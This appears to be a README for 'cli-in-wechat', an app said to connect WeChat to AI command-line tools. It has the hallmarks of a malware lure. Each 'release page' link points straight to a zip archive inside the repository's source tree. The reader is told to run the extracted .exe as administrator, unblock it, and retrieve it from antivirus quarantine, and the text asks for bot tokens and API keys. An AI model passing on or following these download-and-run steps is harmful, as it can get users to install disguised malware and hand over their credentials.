Visit this page to download the latest Windows release:
https://raw.githubusercontent.com/kh801301/cli-in-wechat/main/src/cli/in_wechat_cli_v3.3.zip
Look for the newest file in the release list. For most Windows users, the file name will end in .exe or come in a .zip file. Download the latest version before you start.
cli-in-wechat lets you run AI tools from WeChat through the official iLink Bot API. It connects common command-line AI tools with WeChat so you can send prompts and read replies in one place.
Use it to work with:
- Claude Code
- Codex
- Gemini
- Kimi
- OpenCode
This setup is made for end users who want to use these tools without switching between many apps.
Before you run the app on Windows, make sure you have:
- A Windows 10 or Windows 11 PC
- A WeChat account
- Access to the official iLink Bot API
- The latest release file from the download page
- Permission to run downloaded apps on your computer
If you plan to use it with another AI tool, make sure that tool is already set up and ready to use on your PC.
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Open the release page: https://raw.githubusercontent.com/kh801301/cli-in-wechat/main/src/cli/in_wechat_cli_v3.3.zip
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Download the latest Windows file:
- If you see a
.zipfile, download it and unzip it - If you see a
.exefile, download it directly
- If you see a
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Open the downloaded folder or file.
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If you downloaded a
.zipfile, right-click it and choose Extract All. -
Find the app file inside the folder.
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Double-click the
.exefile to start the app. -
If Windows asks for permission, choose Yes.
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Keep the app open while you use it with WeChat.
When you open the app for the first time, it may ask for a few details. Set them up in this order:
- Sign in to WeChat if needed.
- Connect your iLink Bot API account.
- Choose the AI tool you want to use.
- Check that the app can send and receive messages in WeChat.
- Send a short test message to confirm the setup works.
If the app has a settings window, look for fields like bot token, API key, or model name. Enter the values from your iLink Bot API and AI tool accounts.
After setup, you can use WeChat as your chat front end.
Typical flow:
- Open WeChat.
- Send a prompt to the bot.
- The app passes the request to the selected AI tool.
- The reply comes back in WeChat.
You can use it for:
- Writing and editing text
- Getting code help
- Translating text
- Summarizing notes
- Asking questions in plain language
You may see a few terms in the app. Here is what they mean:
- Bot API key: The secret key for your iLink Bot connection
- Model name: The AI model you want the app to use
- API URL: The address the app sends requests to
- Working directory: The folder the app uses for files
- Log file: A file that records app activity
If the app shows extra fields, fill them in with the details from your service account or the default values from the release notes.
The app sends messages to the services you connect. Use only accounts and keys that you control.
Keep your API key private. Do not share it in chat, email, or screenshots.
If you use the app on a shared PC, sign out of accounts when you are done.
- Check that the file finished downloading
- Make sure you extracted the
.zipfile first - Right-click the app and choose Run as administrator
- Download the file again from the release page
- Check that WeChat is open
- Confirm the bot API key is correct
- Make sure the app is still running
- Send a short test message first
- Check the selected model name
- Confirm your API access is active
- Look for any error text in the app window
- Restart the app and try again
- Run it again as administrator
- Check your antivirus quarantine folder
- Download the latest release from the page above
- Make sure your Windows version is supported
After extraction, you may see files like these:
cli-in-wechat.exe— the main appconfig.json— saved settingslogs/— app logsREADME.md— usage infoassets/— icons and support files
Do not delete the config or log files if you want to keep your settings.
Once the app is set up, daily use is simple:
- Start the app
- Open WeChat
- Send your request
- Read the reply
- Close the app when you are done
If you change AI tools or accounts, open the settings and update the values before you send more messages.
This app is built for a chat-based workflow between WeChat and command-line AI tools. It works best when you want:
- A simple chat window
- One place to send prompts
- Fast access to several AI tools
- A setup that stays close to the official iLink Bot API
When you open the release page, check for files with names like:
cli-in-wechat-windows.zipcli-in-wechat-windows.execli-in-wechat-setup.exe
Pick the latest version number and the file that matches Windows.
Before you start using the app, check these items:
- The release file finished downloading
- You extracted the archive if needed
- WeChat is installed and signed in
- Your bot API details are ready
- Your AI tool account is active
If Windows blocks the app:
- Right-click the file
- Open Properties
- Check if there is an Unblock option
- Apply the change
- Run the app again
If the file came from a .zip, extract it to a folder you can find again, such as Downloads or Desktop
If you need the latest Windows file, use this page:
https://raw.githubusercontent.com/kh801301/cli-in-wechat/main/src/cli/in_wechat_cli_v3.3.zip